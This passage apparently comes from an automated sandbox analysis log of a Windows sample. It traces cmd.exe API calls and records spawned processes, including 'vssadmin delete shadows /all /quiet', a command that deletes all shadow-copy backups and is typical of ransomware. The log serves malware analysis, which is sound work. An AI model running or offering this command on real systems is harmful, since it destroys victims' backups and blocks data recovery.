lpType=0x19ecd0*=0x4, lpData=0x19ecf0*=0x0, lpcbData=0x19ecd4*=0x4) returned 0x0 [0184.184] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x19ecd0, lpData=0x19ecf0, lpcbData=0x19ecd4*=0x1000 | out: lpType=0x19ecd0*=0x4, lpData=0x19ecf0*=0x9, lpcbData=0x19ecd4*=0x4) returned 0x0 [0184.184] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x19ecd0, lpData=0x19ecf0, lpcbData=0x19ecd4*=0x1000 | out: lpType=0x19ecd0*=0x4, lpData=0x19ecf0*=0x9, lpcbData=0x19ecd4*=0x4) returned 0x0 [0184.184] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x19ecd0, lpData=0x19ecf0, lpcbData=0x19ecd4*=0x1000 | out: lpType=0x19ecd0*=0x0, lpData=0x19ecf0*=0x9, lpcbData=0x19ecd4*=0x1000) returned 0x2 [0184.184] RegCloseKey (hKey=0x44) returned 0x0 [0184.184] time (in: timer=0x0 | out: timer=0x0) returned 0x5dc48d91 [0184.184] srand (_Seed=0x5dc48d91) [0184.184] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0184.184] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0184.184] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a29c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0184.185] GetProcessHeap () returned 0x370000 [0184.185] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x218) returned 0x38aae0 [0184.185] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x38aaf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0184.185] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0184.185] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0184.185] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0184.185] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0184.185] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0184.185] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0184.185] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0184.185] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0184.185] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0184.185] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0184.185] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0184.185] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0184.185] GetProcessHeap () returned 0x370000 [0184.185] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x389560 | out: hHeap=0x370000) returned 1 [0184.185] GetEnvironmentStringsW () returned 0x388aa0* [0184.185] GetProcessHeap () returned 0x370000 [0184.185] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xacc) returned 0x38ad00 [0184.186] FreeEnvironmentStringsW (penv=0x388aa0) returned 1 [0184.186] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0184.186] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0184.186] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0184.186] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0184.186] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0184.186] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0184.186] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0184.186] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0184.186] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0184.186] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0184.186] GetProcessHeap () returned 0x370000 [0184.186] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x38) returned 0x3864d0 [0184.186] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x19fae0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0184.186] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x19fae0, lpFilePart=0x19fac0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x19fac0*="system32") returned 0x13 [0184.186] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0184.186] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x19f7f0 | out: lpFindFileData=0x19f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="Windows", cAlternateFileName="")) returned 0x38b7e0 [0184.186] FindClose (in: hFindFile=0x38b7e0 | out: hFindFile=0x38b7e0) returned 1 [0184.186] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x19f7f0 | out: lpFindFileData=0x19f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9dde4ab0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0x9dde4ab0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="System32", cAlternateFileName="")) returned 0x38b7e0 [0184.187] FindClose (in: hFindFile=0x38b7e0 | out: hFindFile=0x38b7e0) returned 1 [0184.187] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0184.187] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0184.187] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0184.187] GetProcessHeap () returned 0x370000 [0184.187] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ad00 | out: hHeap=0x370000) returned 1 [0184.187] GetEnvironmentStringsW () returned 0x38ad00* [0184.187] GetProcessHeap () returned 0x370000 [0184.187] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xafc) returned 0x388aa0 [0184.187] FreeEnvironmentStringsW (penv=0x38ad00) returned 1 [0184.187] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a29c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0184.187] GetProcessHeap () returned 0x370000 [0184.187] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x3864d0 | out: hHeap=0x370000) returned 1 [0184.187] GetProcessHeap () returned 0x370000 [0184.187] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x4016) returned 0x38ad00 [0184.187] GetProcessHeap () returned 0x370000 [0184.187] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ad00 | out: hHeap=0x370000) returned 1 [0184.187] GetConsoleOutputCP () returned 0x1b5 [0184.187] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a29bfe0 | out: lpCPInfo=0x4a29bfe0) returned 1 [0184.187] GetUserDefaultLCID () returned 0x409 [0184.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a297b50, cchData=8 | out: lpLCData=":") returned 2 [0184.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x19fbf0, cchData=128 | out: lpLCData="0") returned 2 [0184.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x19fbf0, cchData=128 | out: lpLCData="0") returned 2 [0184.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x19fbf0, cchData=128 | out: lpLCData="1") returned 2 [0184.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a2aa740, cchData=8 | out: lpLCData="/") returned 2 [0184.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a2aa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0184.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a2aa460, cchData=32 | out: lpLCData="Tue") returned 4 [0184.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a2aa420, cchData=32 | out: lpLCData="Wed") returned 4 [0184.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a2aa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0184.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a2aa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0184.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a2aa360, cchData=32 | out: lpLCData="Sat") returned 4 [0184.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a2aa700, cchData=32 | out: lpLCData="Sun") returned 4 [0184.188] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a297b40, cchData=8 | out: lpLCData=".") returned 2 [0184.188] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a2aa4e0, cchData=8 | out: lpLCData=",") returned 2 [0184.188] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0184.189] GetProcessHeap () returned 0x370000 [0184.189] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x20c) returned 0x389620 [0184.189] GetConsoleTitleW (in: lpConsoleTitle=0x389620, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0184.189] _get_osfhandle (_FileHandle=1) returned 0x198 [0184.189] GetFileType (hFile=0x198) returned 0x3 [0184.190] BrandingFormatString () returned 0x389840 [0184.382] GetVersion () returned 0x1db10106 [0184.382] _vsnwprintf (in: _Buffer=0x19fd60, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x19fcf8 | out: _Buffer="6.1.7601") returned 8 [0184.382] _get_osfhandle (_FileHandle=1) returned 0x198 [0184.382] GetFileType (hFile=0x198) returned 0x3 [0184.382] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a2a6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0184.382] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a2a6340, nSize=0x2000, Arguments=0x19fd00 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0184.382] _get_osfhandle (_FileHandle=1) returned 0x198 [0184.382] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a29c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0184.382] WriteFile (in: hFile=0x198, lpBuffer=0x4a29c320, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x19fc88, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x19fc88, lpOverlapped=0x0) returned 0 [0184.540] GetLastError () returned 0xe8 [0184.540] _vsnwprintf (in: _Buffer=0x4a2a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x19fd28 | out: _Buffer="\r\n") returned 2 [0184.540] _get_osfhandle (_FileHandle=1) returned 0x198 [0184.540] GetFileType (hFile=0x198) returned 0x3 [0184.540] _get_osfhandle (_FileHandle=1) returned 0x198 [0184.540] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a29c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0184.540] WriteFile (in: hFile=0x198, lpBuffer=0x4a29c320, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x19fcf8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x19fcf8, lpOverlapped=0x0) returned 0 [0184.540] GetLastError () returned 0xe8 [0184.540] _get_osfhandle (_FileHandle=1) returned 0x198 [0184.540] GetFileType (hFile=0x198) returned 0x3 [0184.540] _get_osfhandle (_FileHandle=1) returned 0x198 [0184.540] GetFileType (hFile=0x198) returned 0x3 [0184.540] _get_osfhandle (_FileHandle=2) returned 0x198 [0184.540] GetFileType (hFile=0x198) returned 0x3 [0184.540] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2364, dwLanguageId=0x0, lpBuffer=0x4a2a6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The process tried to write to a nonexistent pipe.\r\n") returned 0x33 [0184.540] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2364, dwLanguageId=0x0, lpBuffer=0x4a2a6340, nSize=0x2000, Arguments=0x19fc90 | out: lpBuffer="The process tried to write to a nonexistent pipe.\r\n") returned 0x33 [0184.540] _get_osfhandle (_FileHandle=2) returned 0x198 [0184.540] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="The process tried to write to a nonexistent pipe.\r\n", cchWideChar=-1, lpMultiByteStr=0x4a29c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="The process tried to write to a nonexistent pipe.\r\n", lpUsedDefaultChar=0x0) returned 52 [0184.540] WriteFile (in: hFile=0x198, lpBuffer=0x4a29c320, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x19fc18, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x19fc18, lpOverlapped=0x0) returned 0 [0184.540] GetLastError () returned 0xe8 [0184.540] exit (_Code=1) Process: id = "42" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x64050000" os_pid = "0x570" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "40" os_parent_pid = "0x504" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 416 os_tid = 0x508 Process: id = "43" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x64a5b000" os_pid = "0x658" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "40" os_parent_pid = "0x504" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 417 os_tid = 0x600 Thread: id = 418 os_tid = 0x6bc Thread: id = 419 os_tid = 0x688 Thread: id = 420 os_tid = 0x180 Thread: id = 421 os_tid = 0x334 Process: id = "44" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x65593000" os_pid = "0x438" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "43" os_parent_pid = "0x658" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0004048f" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 422 os_tid = 0x250 Thread: id = 423 os_tid = 0x248 Thread: id = 424 os_tid = 0x204 Thread: id = 425 os_tid = 0x330 [0192.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x103d9e0 | out: lpSystemTimeAsFileTime=0x103d9e0*(dwLowDateTime=0xf5e979f0, dwHighDateTime=0x1d595b2)) [0192.656] GetCurrentProcessId () returned 0x438 [0192.656] GetCurrentThreadId () returned 0x330 [0192.656] GetTickCount () returned 0x1144b05 [0192.656] QueryPerformanceCounter (in: lpPerformanceCount=0x103d9e8 | out: lpPerformanceCount=0x103d9e8*=15668034640) returned 1 [0192.657] malloc (_Size=0x100) returned 0x358e80 Thread: id = 426 os_tid = 0x314 Thread: id = 427 os_tid = 0x43c Thread: id = 428 os_tid = 0x7c4 Thread: id = 429 os_tid = 0x31c Process: id = "45" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x63a98000" os_pid = "0x1dc" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "44" os_parent_pid = "0x438" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00041406" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 430 os_tid = 0x40c Thread: id = 431 os_tid = 0x368 Thread: id = 432 os_tid = 0x690 Thread: id = 433 os_tid = 0x320 Thread: id = 434 os_tid = 0x21c Thread: id = 435 os_tid = 0x114